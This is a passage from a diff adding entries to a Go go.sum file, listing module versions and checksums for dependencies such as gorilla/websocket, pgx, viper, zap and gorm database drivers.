h1:KsU3hiK/Ay8U42qpaJk+kuNa3C+spxapWpM+ywhcgtw= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= +github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= +github.com/jackc/pgx/v5 v5.5.5 h1:amBjrZVmksIdNjxGW/IiIMzxMKZFelXbUoPNb+8sjQw= +github.com/jackc/pgx/v5 v5.5.5/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A= +github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk= +github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= +github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= +github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= +github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= +github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= +github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs= +github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= +github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= +github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= +github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= +github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= +github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= +github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= +github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/microsoft/go-mssqldb v1.6.0 h1:mM3gYdVwEPFrlg/Dvr2DNVEgYFG7L42l+dGc67NNNpc= +github.com/microsoft/go-mssqldb v1.6.0/go.mod h1:00mDtPbeQCRGC1HwOOR5K/gr30P1NcEG0vx6Kbv2aJU= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= +github.com/montanaflynn/stats v0.7.0/go.mod h1:etXPPgVO6n31NxCd9KQUMvCM+ve0ruNzt6R8Bnaayow= +github.com/natefinch/lumberjack v2.0.0+incompatible h1:4QJd3OLAMgj7ph+yZTuX13Ld4UpgHp07nNdFX7mqFfM= +github.com/natefinch/lumberjack v2.0.0+incompatible/go.mod h1:Wi9p2TTF5DG5oU+6YfsmYQpsTIOm0B1VNzQg9Mw6nPk= +github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= +github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= +github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 h1:KoWmjvw+nsYOo29YJK9vDA65RGE3NrOnUtO7a+RF9HU= +github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8/go.mod h1:HKlIX3XHQyzLZPlr7++PzdhaXEj94dEiJgZDTsxEqUI= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= +github.com/qifengzhang007/goCurl v1.4.0 h1:SyPxw3e8NZ/bhelabiIZPvTXDAyA3zrt4+Uq8tF5roE= +github.com/qifengzhang007/goCurl v1.4.0/go.mod h1:uO0GEHw3DKIVMHIGw1kbtY9wUpL1eAm7hYxiCjmyvkc= +github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw= +github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578 h1:VstopitMQi3hZP0fzvnsLmzXZdQGc4bEcgu24cp+d4M= +github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= +github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= +github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= +github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= +github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= +github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= +github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= +github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= +github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= +github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.18.2 h1:LUXCnvUvSM6FXAsj6nnfc8Q2tp1dIgUfY9Kc8GsSOiQ= +github.com/spf13/viper v1.18.2/go.mod h1:EKmWIqdnk5lOcmR72yw6hS+8OPYcwD0jteitLMVB+yk= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= +github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= +github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= +github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= +github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= +github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ= +go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= +golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= +golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= +golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= +golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= +golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= +golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= +golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= +golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE= +golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= +golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= +golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= +google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc= +gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gorm.io/driver/mysql v1.5.6/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM= +gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo= +gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM= +gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8= +gorm.io/driver/postgres v1.5.9/go.mod 